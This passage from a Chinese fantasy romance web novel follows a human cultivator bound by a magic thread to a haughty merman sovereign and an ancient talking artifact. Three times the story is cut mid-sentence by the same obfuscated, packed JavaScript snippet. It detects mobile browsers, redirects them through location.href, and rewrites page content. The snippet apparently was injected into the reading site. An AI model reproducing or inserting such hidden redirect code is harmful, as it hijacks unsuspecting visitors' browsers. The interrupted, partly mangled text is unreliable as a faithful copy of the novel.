她的活动区域只限于以人鱼为圆心的区域内,祖宗稳如定海神针,只能是她飘如浮萍。 其实她刚刚一直都提心吊胆的,生怕祖宗一个不高兴直接杀了她。 而人鱼卷起尾巴蜷成了一团,斜靠在榻上懒懒地抬着眼皮,显然也是累了,无趣地扫视着殿内。 这么久没回来,这里竟然还收拾得勉强像话,也没动过他里面的任何东西,和他离开前一模一样。 4. 第 4 章 想到也不是完全一模一样,屋内多了个小人类挂件,人鱼祖宗终于想起来发挥主人翁精神招呼她一句。 “你在想什么?” 陆雨娴正思索着应该怎么天花乱坠地夸赞一番这个豪华神仙宫殿,但脱口而出的话却变成了—— “我在想还好你刚刚没想到可以直接把我杀了来解决问题。” 人鱼显然一愣,似乎真没想过要直接把她杀了这个方法。 而陆雨娴吓得魂都要散了,都不敢转身去看他的表情,捂着嘴巴,百思不得其解怎么会脱口讲出这么不要命的想法。 人鱼没有放过她的意思,真言咒只是他最不值一提的一个独门小绝技罢了,凝神施了法力,轻而易举地又问她:“杀了你怎么解决问题?” 陆雨娴死死咬住下嘴唇,不想让自己出声,但真言咒的法力不是她能抗拒的,尤其是这样悬殊的法力差距之下。 只听自己又道:“我死了线的另一端就消失了,你就再也不会受这条线的束缚。” 说完,她就闭上了眼,心如死灰,似乎是等待着死神的宣判。 果然,她听到耳边凉凉传来一句:“好主意。” “……” 还没三两下,又要死了。 但陆雨娴别的不行,滑跪是一把好手。 双手合十,朝着前头就是一阵点头哈腰求饶:“但是,您暂时先别杀我了!我很听话的,绝不给你添麻烦。何况您都给我带到这儿来了,我相信您一定能很快找到办法解了这玩意,不需要劳烦您动手,这么漂亮的宫殿,沾了血不值当。” 她自以为这番理论还算逻辑圆恰,但在祖宗这里不值一提,人鱼挑眉道:“相比找办法,直接杀了你确实省事得多,而且本座有一个法器,杀人不见血,感谢你为本座想这么多。” 但想的都没用。 陆雨娴自动补了下一句,心比海都凉。 但人鱼祖宗向来是阴晴不定的,突然又带了笑意道:“还有,你求错方向了,那边是你的好仙门,没人能闯到本座的地盘来救你。至于本座,在你身后,这边。” 陆雨娴竖起耳朵,确实,声音是从她身后传来的,只是她不敢看,但祖宗有令,她老实转身回头,睁眼。 在这样清晰明亮的光线下看遍人鱼全身还是第一次,方才她进来后就被稀奇的宫殿震撼住了,光顾着好奇,都没顾得上好色。 陆雨娴得了机会,眼神就跟长了电光一样开始乱瞟,她不得不承认自己有眼无珠,眼前的人鱼找不出与刚刚那条脆弱小蓝鱼的相似之处,尾端也进化得更加惊艳,漂亮又充满力量感,强劲得能单扫一头巨鲨,和所谓的虚弱两字完全沾不上边。脸就更不必说,美得她心惊肉跳。 传说人鱼的歌声优美空灵,其眼泪可化为珍珠,指尖利爪能划破时空,心口处最柔软的鳞片在危机关头可以化为利刃,善良慈悲绝世独立。 别的传言尚不知真假,但陆雨娴现在知道了,善良慈悲四个字是半点不沾。 “看够了?”人鱼皱眉。还是头次又这样大胆的人,敢这么肆意地打量他不着寸缕的人鱼形态,虽然鲛人族在海底都是这样坦诚相待的,但在这小人类面前,莫名被盯得发毛。 “等一下别急啊。”陆雨娴显然还没看够,眼珠子跟黏在腹肌上了一样,动都不动一下,还在幻想着这玩意的手感和人的会有什么不同吗?虽然她也从没摸过人的腹肌。 “又在想什么?” “真好看,想摸一下。” “……” 海底静得可怕。 半晌,陆雨娴眼睛终于会转了,同时意识到自己又被下了真话咒在口出狂言。 她头皮发麻,都不需要人鱼亲自动手,自己都想给自己埋了。 而人鱼只是卧在榻上,眼神幽深地看着她,情绪晦暗不明。 他甚至有些疑惑,在这个世界活了快一千年,还真没见过这样的人。 她的语气直白又坦率,眼神虽然不怀好意,但竟又纯洁无害,诚如她所言,她确实没有恶意。 真是一个无比矛盾又奇怪的存在。 直到他的呼吸慢慢沉重,身上愈发乏力,他才想起今夜还是潮汐之夜。 此地不宜久留,真是莫名其妙要和一个怪人在这多费口舌,而且他的尾巴正开始不受控制地慢慢变粉。 他看到小人类突然又闭上了眼。心想果然,人类到底弱小,今夜比他还困。 ——但其实陆雨娴正安静地闭眼瘫着等他给自己判死刑。 她心想要杀要剐随便吧,与其以后万一死在了哪次惨烈的仙界大战里,还不如现在就来个痛快的,要是能安乐死就更好了。如果在这边死了能回去也可以,要是回不去那也没办法,就算了。 只是她越想越不淡定,眼皮又颤了起来,眼泪都要从眼角滑下来了,心中忍不住狂吼算算算什么算,算个珠心算!怎么可能就这么死这算了,上面都是我胡说八道的我其实怕得要死,谁家好人死了能心里一点都不带怕的啊草! 而人鱼瞥着她抖得跟筛子一样的四肢,还以为她要梦游。 良久,他一言不发地甩着尾巴游去后方正殿,准备睡觉。 见陆雨娴还摊在那里一动不动,他终于远远丢下一句:“地上凉,困了去床上睡。” 陆雨娴:“……?” 以为她还不动是没找到地方,他又道:“你睡外面的守卫床。” 合着这儿还只是他家保姆间。 她还没见过世面地参观了这么久,简直壕无人性。 陆雨娴闻言,内心仍是破涛汹涌久久不能平静,颤着手摸了摸脑袋,竟然还好端端地在脖子上。 惊喜,太惊喜了。 但高兴不过三秒,又听到窸窸窣窣他游回来的声音,片刻后头顶上方凉凉传来一句: “起来,进去跟本座睡一张床。” - 陆雨娴僵硬板直地躺在人鱼祖宗身边,像个木鱼。 明明困得要命,眼睛却睁得溜圆—— 这到底是哪里来的该死的线! 非得给他俩绑在五米之内。 而且这张该死的贝壳大圆床比她家房还大,估计半径都有五六米了,涵盖了她以祖宗为圆心的所有活动区域,能怎么办? 祖宗大发善心能让她睡在他床角一隅已经很好了,不然要么想睡地上要么又想找死? 虽然两人之间隔了三四米的距离,半条东非大裂谷都在这了,但祖宗存在感依然强得无法忽视。 人鱼祖宗大概是困极累极,所以刚粘上他这张熟悉的老床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235701|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便闭上眼睡着了。身上盖了张薄毯,只露出肩部以上和小半截尾巴,眉头微微蹙着,唇线拉直紧绷,似是在忍耐些什么。 陆雨娴本来还在看他颜色变来变去的鱼尾,但祖宗抬手把所有夜明珠熄了灯,眼前就黑漆漆的啥也没了。 他显然不想让她看他尾巴。 小气鬼。 陆雨娴憋屈地想,若不是捆着这根该死的线两人分不开,她怎么会惨成如今这个样子。 又没了初吻,又不得不陪睡。 青春不再,残花败柳。 黄花闺女,惨遭毒手! 真是夜不能寐。 她愤愤地打算就这么睁眼到天明,以示抗议和挣扎。 但她显然多虑了。 前半夜是半天没睡着,一会儿数羊数星星一会儿数水饺。 但后半夜自她睡着了,就睡得比猪都沉,雷打不醒。 她自以为以昨天那种箭在弦上人在砧板的境地,睡眠质量应该无比拉胯。而红润的脸蛋和饱满的精神出卖了一切,昨晚似乎是她到这个世界以来睡得最好的一晚。 这床实在太大了,又柔软,在上面空翻练高树都行。 她昨晚也想通了,也难怪,毕竟人鱼抻直了可都有三米多,床不大点确实不行。 她起身伸了个懒腰,感觉身上都轻飘飘的。偏头看了眼祖宗,祖宗还没醒。 她这才知道,人鱼的灵力真不是闹着玩的,效果和作用可以持续这么久。也能理解为什么修仙界一直流传着一句话,要及时抱住身边能抱住的大腿。 毕竟大佬略施小计,足够她这种仙班小咸鱼修炼半年。 只是,灵力再怎么充足,她的口腹之欲却不是能轻易满足的。 陆雨娴到底是没有辟过谷的凡人修仙士,昨日晚膳就不曾用过,今日又睡到日上三竿。虽然海底看不到太阳,但凭着这几日在仙门练出来的良好生物钟,她暂时还有点时间判断力。 想也知道,人鱼祖宗的宝殿里肯定不会有凡人吃的东西,陆雨娴本就懒得动,环视了两周后,最终还是认命地躺了下来,干脆省点力气。 她不敢惊扰祖宗的好梦,知道他脾气本来就不好,起床气更是极大可能。 陆雨娴也有个臭毛病,一旦醒了之后就很难再睡着,躺在床上百无聊赖,睡也睡不着。更何况心里紧张得很,僵着身子大气都不敢出。 但能控制住的只是呼吸,控制不住的是欲望。食欲更是欲望中最可怕的,戒了要死人的。 无论陆雨娴多么想自我蒙骗自己不饿,心底都无法战胜自己的欲望,肚子更是在向她抗议,非常没出息地大叫两声:“咕——咕——” 这两声惨叫,在空荡荡的宝殿内无疑于两声惊雷平地炸开,陆雨娴两眼一闭,眉头紧皱,暗道完蛋。 甚至这时候还能很奇怪地想,真不愧是深海啊,水介质就是牛,声音这么一传,分贝比空气介质高得离谱。 陆雨娴眼睛闭得太紧,眼尾都皱了起来,良久,她的耳边都没再出现声响。既如此,她想当然地认为风波已经过去,再这么闭着眼睛眼角都要绷出鱼尾纹。 悠悠然,陆雨娴缓缓张开了眼。 “妈妈啊!” 猛然对上一双浅蓝的眼,她惊得差点咬伤自己的舌头。 5. 第 5 章 人鱼祖宗单手支着身子,头发散着漆黑如瀑,乍泄满床,携裹着他的气息。 听到陆雨娴的这声惨叫,他原本饶有趣味的眼神又冷了下来。 “醒了。” 陆雨娴缩缩脖子,咽下一口气,“……嗯。” 见她表情不对劲,他伸手探了探她的额头,面露疑惑,也不知这小人类怎么会虚弱到如此地步,灵力也给她渡了,昨夜安神香也点了,还让她睡了大床。 她的前额怎还会凉成这样。 人鱼凝神,对上她的眼睛,一字一句地问:“你身体为什么不适?” 陆雨娴脱口回答:“我身上没不舒服的地方。” “没不舒服?”他显然不信,既然身上没问题,那就是心里出了问题,“你在想什么?” 陆雨娴:“我在想我一觉醒来居然还活着。” 睁开眼后脑袋竟然还能好端端地在脖子上。 人鱼沉默地看了她片刻,蓦地笑了。 陆雨娴眨巴着眼,不知所以然。 直到他一个腾海驾浪下了榻,又轻轻动了手腕上的线,一把就把陆雨娴拽了过去。 水下就是这点好,拽人都不需要费多少力气的,尤其是海的主宰拉着一个凡人,只要稍稍调动海里的浪便能把她送过来,更何况还有一根蓝线牵着。 陆雨娴愤愤地在他身后瞪了一眼,表情狰狞。真是受够了在他身后当风筝的日子,仅仅一天,度日如年。 人鱼像后脑勺长了眼睛一般,突然出声:“别苦着这张脸,我是带你去解开这线。” 祖宗也觉得牵块咸鱼干在身后,实在费劲。若不趁早解决这一麻烦,还有更多在他身后等着的麻烦只会越拖越棘手。 他耗尽法力提前冲破封印出关,为的就是打仙界和窝藏在深海的鲛人族叛徒一个措手不及。现在在这儿浪费时间,之前的谋算便都白费力气了。 只见人鱼轻抬右臂,手肘外的鱼鳍与尖刺在浪中划开一道口,鱼尾轻摆,便带着陆雨娴穿了进去。 一阵光怪陆离过后,陆雨娴到了另一座大殿,装修看起来没寝殿豪华,但胜在空旷无边,一眼望过去,连大门的城墙边际都看不到。 她下意识往城门那边走了几步。 “反了。”人鱼在她身后出声。 尾巴一甩线一拽,陆雨娴垫着脚漂了两漂,以一种四十五度角仰望海面的姿态撞了过来。 她梗着脖子,努力调整重心到上身保持直立,才发现自己已经过了城门那关,现在已经身处大殿之内。 踩在一处实地上,周围是一株株巨大的珊瑚,比人间的热带树木还要生的茂盛。原以为无边城墙内的建筑风格会与古代或仙门差不多,却没想到是一个个比楼屋还要高大的动物骨架,或是龟壳,或是鲸鱼骨,又或是开着血盆大口看起来便十分唬人的巨大贝壳。 陆雨娴心中暗惊,这地方和人鱼祖宗的寝殿风格着实相差太大,她从没梦想过海底还有这样的地方,幽暗又诡异,相比之下,祖宗的审美真是可歌可泣。 她垂眼看着地,地上没有明显的路径,隐约有几个脚印,但看起来都经过了几道浪淘和洗刷,有些模糊不清的年代感。上面落满的大小珍珠更是跟不要钱似的,密铺遍地,即便在暗处都能亮得人眼瞎。 陆雨娴没办法,只好又重新抬起头,看着不远处祖宗的背影。 四下还是静悄悄的,依然,这儿除了他俩,还是一条活物都没有。 直到一声怪叫响起:“死鬼,终于出来了,还知道来看看老子我!” 陆雨娴警惕地环视着四周,没找到声音的来源。 人鱼闻声,轻挑着眉,看不出有任何情绪变化,也并不感觉稀奇,淡淡道:“有点事想向你请教。” “哈哈哈哈哈哈哈哈!”耳边又是一阵杠铃般的笑声。 转而,声音又变了调,从一开始的青年声变得尖锐,似小孩玩闹时的无理哭啼,又比童声更有穿透力。 “稀奇,真是稀奇!你个死鬼什么时候这样好脾气地和我说过话?亏我还以为你有良心,刚出来就知道要来找我!谁知道,你只是利用我而已,你个骗子!骗我一片苦心!咳咳!” 像是被什么东西惊到了,说话声突然停了一下,但接下来的语气变得更加高亢锋利,音色也从孩童声变成了成年女高音。 “什么!你这次竟然还带了别的小家伙过来?我闻闻……竟然是个人类!还是个女人?若不是我对你的气息了如指掌,隔老远就把你闻了出来,我都要怀疑你是不是什么奇怪的东西化了形。但像你这么变态的死鬼这么多年到底只出现了你这么一个,太遗憾了,你竟然是真的,真的带了个女人类来找我!我的感情到底是付诸如东流水,一去不回白白浪费了!” 别说它这声音变来变去都很难听,但是语气可真是学得惟妙惟肖,一般人闭着眼听了,都会以为遇到了捉奸在床的狗血场景。 陆雨娴也不例外,被吓得真觉得自己当了坏人,破坏了人家本该圆满的感情。 但还没等她本来就凌乱的脑瓜子理清楚,那声音又来了:“但话说回来,这位漂亮的仙女美人儿……有兴趣和我做个交易吗?以后跟着我,我绝不会亏待你。至于他,断情绝爱的铁石心肠,死鬼一个。我敢保证,跟着我绝对比跟着他好太多。” 这次变得低沉而富有磁性,说话时她的耳边还随着声波起伏吹来一串串泡泡。 原来这就是超绝·真·气泡音吗?真是肉眼可见的气泡在眼前飘来飘去呢。 但陆雨娴只觉得,好他爹油腻。 不是说油不溶于水吗,为什么海底还能有这种油得人脸上起雾的东西。 她突然就理解了祖宗昨晚面对她时的心情,刺耳的噪音真会吵得人脑瓜子疼。 人鱼眉心一沉,终于是忍无可忍了,微微抬手,往面前虚浪中一挥,一道蓝光闪过,一团裹着五颜六色珠石的水团便被硬生生从一个龟壳中拽了出来。 “听起来,你很恨我?” 人鱼的双眼静静地盯着那水团,目光比冰箭还要锐利,音波随着浪声起伏不定,情绪难以捉摸。 “废话!”那水团本来玩躲猫猫躲得好好的,就这样被他轻易揪了出来,能不恨吗? 且它方才一口一个死鬼,贯彻落实到每段话里都必出现了一句死鬼,不是恨难道是在调情? 而水团显然也是有法力的,泛着层层透亮的曦光,照的这片区域都明亮了几分。它在他掌中不断变化着形态,努力地挣扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235702|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,表面缓缓爬上几丝纹路,有着正要结霜的趋势,还想继续开口说些什么。 但人鱼收紧了掌心,鱼尾出的蓝色愈来愈深,直到他的掌心都开始慢慢变蓝。掌中的那团水状物再也坚持不住,开始往四周喷发出蒸汽,形状也越缩越小。 “死鬼!你给我等着,我堂堂上古神器寒霜印,你父母见了我都得恭敬几分,你竟然这么对我,你要遭天谴!” 人鱼满不在乎地勾了勾嘴角,置若罔闻,法力丝毫不减。 陆雨娴在一旁看着越来越小的寒霜印,心惊肉跳,生怕一不留神这法宝就在自己面前烤干了。 寒霜印受不住了,虽然它不会真的就这么被烤没,但想要重塑器身也是很难的,更何况它还舍不得它肚子里的那些宝石。 它咬牙切齿道:“你到底要怎样!大名鼎鼎的泱泽仙君,泱泽仙君!竟要无理取闹到这种程度?” 这两声“泱泽仙君”若是落到其他人耳里,只怕是振聋发聩了,毕竟,这六界之中,没有人不忌惮他。小到蝼蚁,大到仙尊,即便他已经被镇压了数百年,但余威依然丝毫不减。 但陆雨娴本就不是这个世界的人,根本不了解情况,闻言只是微微一怔。 仙君?她又暗叹自己果真没有看走眼,祖宗当真不是一般的人鱼,看起来年纪轻轻都已经是仙君了,就连道号都这么好听。 但祖宗也真是低调,这么狂拽酷炫的身份也没直接在她面前亮明吹牛皮。不过就算告诉她其实她也不知道到底有多牛,咸鱼当然一问三不知。 但这一声道号落到他的耳里竟是刺耳的!人鱼的眼底浮现出不加掩饰的厌恶和憎恨。随即加重了力道,寒霜印在他手中更加煎熬难耐。 “行了行了!我投降,我认输!鲛族第一百五十八代君主,鲛尊殿下!”终于,寒霜印松了口。 而他也终于收手,深蓝变浅,掌心焰熄灭。 寒霜印活动了自己已经被蒸煮得不成样子的形状,也没忍住再骂一句:“我可去你的鲛尊!焦洋!你个死鬼!别太过分了!” 竟然又出来了个有名有姓的名字,接连几个称呼陆雨娴已经被绕晕了。 话音刚落,她便转过了头去,又开始观察起祖宗的表情变化。但奇怪的是,这声连名带姓的称呼反而没有激起他的反感,反倒是让他舒展了眉头,朝着陆雨娴微微一笑。 “怎么,本座有名字,很奇怪?” 陆雨娴连忙摇头,大道不敢,顺便挖空了肚子里的甜言蜜语开始吹彩虹屁:“这名字哪里奇怪了?这名字太棒了!我从来没吃过……啊呸,听过这么棒的名字。” 他的笑容凝固半分,转而多了几分不解,“你还不知道本座是谁?” 陆雨娴眨眨眼,想来想去,看着架势她应该知道什么,但她这个外地来的实在不知道她该知道什么,而且,她还真没那么好奇。 但现在哪怕是演都得演下去。终于,她吐了口气冒了个泡泡说:“啊……您是鲛尊殿下嘛……我知道的,知道的。” 但不完全知道。 而他那双没有什么情绪的淡蓝色眼睛就这么一眨不眨地盯着她,像看一个弱智。 良久,他幽幽开口:“你不光法术差劲,书文也没读过几本。” 6. 第 6 章 再次受到了暴击和侮辱的陆雨娴,嘴巴一闭。 她发誓,她再也不想主动和他说好话了。 骄阳? 随口给他夸一句安慰一下他还蹬鼻子上脸了,这算什么好名字,一点意义都没有!竟然还说她只知道吃饭不知道读书?谁家海里长的叫个太阳,那不给海都煮干了,活都没地活。 “说你死鬼你还不认啊,有你这么跟美人说话的吗?”寒霜印恢复了点精神,话痨的本事不减反增,竟然还敢站在陆雨娴这边当她的嘴替。 寒霜印顿了顿,又向陆雨娴说道:“不过话说回来,美人,你可是少有的知道他尊姓大名的人类,但我想你应该猜错他名字具体的字了。” “嗯?” “此‘焦洋’非彼‘骄阳’也,是‘焦点’的‘焦’,‘洋溢’的‘洋’。” “噢。”陆雨娴微惊,她还真没想到是这两个字。 有些奇怪,但不得不承认念起来还是好听的。 世上有万千神仙,海底也有千万鲛族,但叫焦洋的鲛尊,仅此一位,独一无二。 原来至高无上的鲛尊也是父母生养的,亦有正经的名姓,这看起来和普通人类也没什么两样。 但事实上,只凭美人鱼这一点,就已经足够特别,足以将陆雨娴勾得找不着北了。 当真大涨知识,陆雨娴暗想,还好刚刚没脱口而出质疑他名字的意思,不然又得被用那种鄙夷的眼神扫射。 但鄙夷的眼神不会消失,只会转移。 所以,鲛尊殿下焦洋,此刻已经把鄙视的眼神转向寒霜印了。 “谁允许你这样胡乱介绍本座?”他谑道。 神情冷冷,高高在上。 相比听到了那声“泱泽仙君”的厌,焦洋此刻的鄙夷更像是单纯的嫌弃。 那双浅蓝的眼睛几乎要和海水融为一体,眉心蹙起,眼神中的不耐隐隐透出一股阴冷病美人之傲。 而法器到底是法器,即便经历了霸道绝情冷祖宗的几番火烤,仍然不在怕的,更不可能怂成陆雨娴那个样子,反嘲道:“胡乱介绍?笑话!我堂堂寒霜印有什么不知道的事情?倒是你,我可担心我说出你名字的真正含义,会激起你几百年前的伤心事。” 焦洋不语,只是终于收回了冰冷的眼神,又高抬贵手轻点着修长的指尖,起势给寒霜印渡灵力恢复。 寒霜印受宠若惊,麻溜地闭了嘴,再无一句多余废话,美滋滋地接受着灵力的充盈舒适感。 有灵力的就是爹,能施灵力助化形的更是爹中爹,果真担得起一声祖宗。 而给法器修复重塑形终究是件耗神的麻烦事,纵使焦洋法力无边,此刻他的耳边也再次出现了浅浅的鳞片,就连白皙的手背上也浮了几块淡蓝纹路,和他本就清晰的血管交织着。 陆雨娴的心也莫名随之提了起来。 焦洋眼神微凝,淡蓝的眼眸有片刻加深,更添厉色。 几道蓝光过后,寒霜印终于能化成宝器本身的样子。 冷若寒雾缥缈,霜如繁花璀璨。 到底是上古神器,当真比焦洋私殿内的一般法器还要精致百倍。 看似是由寒冰化成,那上头的纹路也是冰雪天然形成的六角花纹,但细看真是绝妙万千。 大到整体形状都是浑然天成,各异之美,小到每个细节都尽有其色。霜纹繁复,层叠立体,全世界的工匠工艺加起来也不能达到其分毫之道。 只是,这玩意就算长得再精秀,一开口还是暴露了其嗓子未经打磨的粗糙—— “哟哟哟!没想到你还真有点良心,居然知道帮我一把,行了,我大人不记你焦洋小儿之过不叫你死鬼了。” 焦洋冷哼一声收了手,懒得跟它计较,指尖揉了揉眉心,又给自己定了定神。 “你没事吧?”陆雨娴上前几步问道,却又保持着距离,不敢跟他靠得太近。 “无妨。”他眼神中的怔然不过片刻,转瞬又恢复了平日里那副云淡风轻的神色。 陆雨娴点着头退了回去,挪开落在他身上的目光,看向另一侧。只见寒霜印在水中旋转几圈,带出阵阵旋涡,似乎刻意显摆它如今的光辉似的。 良久,寒霜印才平复了美滋滋的心情,转身向陆雨娴扭着身子问道:“真是舒服,好久没这么自在了!对了美人儿,我还不知道该怎么称呼你?” “陆雨娴。”她答。 “雨娴仙子,好名字,好名字!”寒霜印一边说着一边围着她转了几圈,镜面还打着光,跟个小型舞台聚光灯似的。 焦洋见状,只道:“浮夸。” 陆雨娴也没把他的话往心里去,倒是臭着美真拿上古神鉴当铜镜照着玩了。 反正祖宗向来不关心她们之间的对话,他的冷反应没什么参考价值,不必挂怀。 大约她在他眼里只是一个身无法力的牵线累赘罢了,她在他那儿不需要有名字。 待到她终于照够了,焦洋才抬手将寒霜印摆了回来,正对在自己面前。 而寒霜印也不像之前那样嬉皮笑脸了,终于正经道:“行了,知道你无事不登三宝殿,有什么事现在可以说了。” “本座和这小人类昨晚不知为何突然出现了一条线连着,无论用尽什么办法都解不开。” “什么线?” 闻言,陆雨娴正想提提裙子给寒霜印指一指,而焦洋却直接隔空给寒霜印拍在了他鱼尾端前面。 “这就是你求人办事的态度?”寒霜印又被极致的武力呼来喝去,非常不爽。 焦洋:“你不是人。” 寒霜印草了:“你也不是人。” 焦洋:“嗯。” 大方承认的态度让上古神器感觉自己一拳打在了棉花上,以其人之道还治其人之身这条路在焦洋这里败得彻底。 陆雨娴:“……行了,我是人,我是个垃圾人行了吧?” “嗯。”焦洋再次颇为认同地点了头。 寒霜印:“美人,我不允许你这样说自己!”说着便要往陆雨娴的身上蹭。 陆雨娴看着焦洋越来越黑的脸,一个后闪身躲了半米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235703|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,索性还是提了裙子给寒霜印看那条线。 一夜的时间过去,那条蓝线竟然又清晰明亮不少。 寒霜印只瞧了她的脚踝处一眼,顿了顿,转身又去看焦洋的鱼尾,最后无语地丢了两个字:“就这?” 焦洋绷着怒意,压着声音:“如何简单?这是本座昨夜使劲浑身解数都解不开的线!” 寒霜印:“那就对了。” 焦洋闻言,作势已经抬了手,若不是寒霜印知道这情况到底如何,以他的脾性,早就想把它劈个粉碎了。 陆雨娴见状,开始插嘴缓解气氛:“怎么对了?难道宝印兄有什么办法可以解开吗?” 这声“宝印兄”深得寒霜□□意,寒霜印觑了焦洋一眼,决定大印有大量的不和鲛尊小儿计较,又向陆雨娴解释:“美人儿,我估摸着你还是头一次见到鲛族?” 陆雨娴点头:“正是。”两辈子加起来的头一次。 “所以鲛族有些与生俱来的命格之数你不清楚也正常。”寒霜印道,又转头看向焦洋,“但是鲛尊大人,你不知道就很奇怪了。” 焦洋不想听它铺垫这么多:“说重点。” 寒霜印:“难道你不知道鲛族的情命牵?” 焦洋一脸当然知道的表情,“跟情命牵又有何干?” 寒霜印:“这就是情命牵。” 焦洋:“她是个人!” 寒霜印:“所以呢,她是人又怎么了,鲛族的情命牵可以连万物之灵,只要是天道下救过你命的都可以连,谁说不能连人类?” 焦洋匪夷所思,表情比昨晚潮汐之夜没睡好还要难受一百倍。 他居然,居然和一个人类,一个弱的一尾巴就能扇死的普通人类,连了情命牵。 寒霜印:“我说你也别太稀奇,你封闭着过了那么多年不知道这些也正常,说你是鲛族,其实根本没和其他鲛族待过多少时间。想想也知道,你只见过成婚后的鲛族同类间有暗线相连,且是可以隐形的,多为标记作用,不会约束各自行动。但估计你也没见过鲛族和其他生灵的情命牵。” 焦洋不虞:“我怎么没见过鲛族和其他海底生灵连了?”鲸族、白鲨族、海豚族、灵草族……哪怕是归隐的神龟族他也是见过几个的,封闭久了是真,见识可不短浅。 寒霜印白了他一眼:“那就是没见过和人连的。这也正常,一般鲛族很少和人类通婚,最近几千年更是少有往来互不干涉。而且就算通婚,也多是鲛族上岸,退化鱼尾成了双腿,久而久之和人类就没什么区别了。” 焦洋轻嗤,完全无法理解这种失智行为。 放着好好的鲛族不活,去做最自私贪婪肤浅无耻等集世间所有丑恶之处的人类,真是海水喝多了喝得脑子进水。 而陆雨娴这刻却在想,若真是如此,是不是她原来所处的那个世界其实也存在鲛族,只是已经上岸成了人形,即便与她擦肩而过她也认不出来。 事关鲛族传说,陆雨娴的求知欲又上来了:“那为什么多是鲛族上岸,而人类入海的情况却很少?” 7. 第 7 章 陆雨娴以为这问题能上升到“爱与牺牲”这种哲学问题,倒没想到竟成了一个关于“爱与存活”的生物学问题。 只听寒霜印笑道:“美人儿,你以为你现在为何能在海底自由呼吸?烧的可全都是鲛尊殿下的灵力,也得亏是鲛尊殿下才有这么多的灵力可以匀给你,烧也烧不尽。 “但一般的鲛族就不一样了,他们可没这个本事,但唯独可以通过勤加练习,逐渐适应在岸上的生活,但人类可没办法练出鳃在海底长生,所以多是鲛族上岸。 “至于你俩嘛,就可以海陆间来去自如了,真是天造地设的一对啊!” “噗。”陆雨娴一个没绷住,直接吐了一长串泡泡出来,喷了寒霜印一身。 神来之天造地设。 寒霜印也不恼,反道:“哎!瞧给你高兴的,还想给我炫耀你情郎的无边法力和灵力啊?” 陆雨娴更草了:“什么情郎!这些词是能乱用的吗?” 寒霜印:“情命牵定的郎君,称之‘情郎’,有何不妥?这可是天道之下已命定的事。” 陆雨娴:“?”妥什么妥,妥在哪? 她转头看向焦洋,心想祖宗耳朵里可容不得一句胡话,这时候怎么还没出手? 却见焦洋一脸镇定自若,丝毫没把他们的话放在心上,甚至还挺认可地点了点头,尾巴尖儿还在水中飘来摆去,绕着那条线玩。 陆雨娴默默地别回了头,无声叹息。 算了,不能指望一条鱼听懂多少人话。 寒霜印:“我精通世间万事万物,自盘古开天辟地以来就出现在这个世界上,女娲捏泥人的时候还是我打的光,美人儿,你们人类这点小词小句的,不足挂齿。” 陆雨娴:“……”这回它倒是又能用对成语了。 她懒得辩驳跟他废话,物什到底也只是物什罢了,哪怕是上古通灵的,语文也惨不忍睹,比仙剑师父教出来的还要差劲。 见陆雨娴还傻愣愣地提着裙子,寒霜印又像个大陀螺似的转着圈,道:“行了美人儿,快把裙子放下吧,虽然咱是修仙之人多有习武,但是裙子撩得这么高终究还是不妥当的。” 陆雨娴“哦”了一声,放了裙子转头看向焦洋。 “殿下……”您看咱这线打算怎么解呢? 谁知话还没说完,焦洋却像突然掉线重连了一遍,脱口先把陆雨娴的话打断—— “你别暗恋我了。” 陆雨娴:“?” 你他爹的? 这条鱼究竟在胡说八道些什么,造谣不要证据的? “我怎么就暗恋你了?” “你不暗恋我,那情命牵怎么解释?” “……” 焦洋神态自若,睥睨着尾端的线,又顺着看向陆雨娴的脚踝,眼神自信到目中无人。 陆雨娴头次被这么自恋到不讲道理的人,不对,是鱼,也不对,是不当人的人鱼——直接发问,她都忍不住反省自己,究竟是做错了什么才会让他产生这么离谱的错觉。 要是周围的海水能够静止不流动,她估计都能把水烧滚成盐,若不是还接着焦洋的灵力才能在海底呼吸,她也很想直接送他一个“滚”。 寒霜印若是能化为人形,此刻估计也是笑得直不起腰了,一边用同情的眼神看着陆雨娴,一边又朝着焦洋笑骂:“焦洋你个死鬼,这么多年自恋竟然还没治好,美人都快要被你气死了!她又不瞎,为什么会看上你?” 这话无异于冒犯,陆雨娴一边忍不住想点头认同,一边又窝囊地担心焦洋发脾气“拔”她氧气管。 “呵。”只闻一声轻笑,缥缈悠远,高高在上。 焦洋一脸“她怎么看不上我,正是因为她没瞎所以必然会看上我,肤浅的人类爱上我肯定是迟早的事,只是没想到她竟然这么快就对我动心了,居然还要死要活这就有了情命牵”的表情,眼神转了几转,再有点不耐烦地自以为已经看破一切只是不说破地问: “敢问神印,若非如此,情命牵又从何而来?” 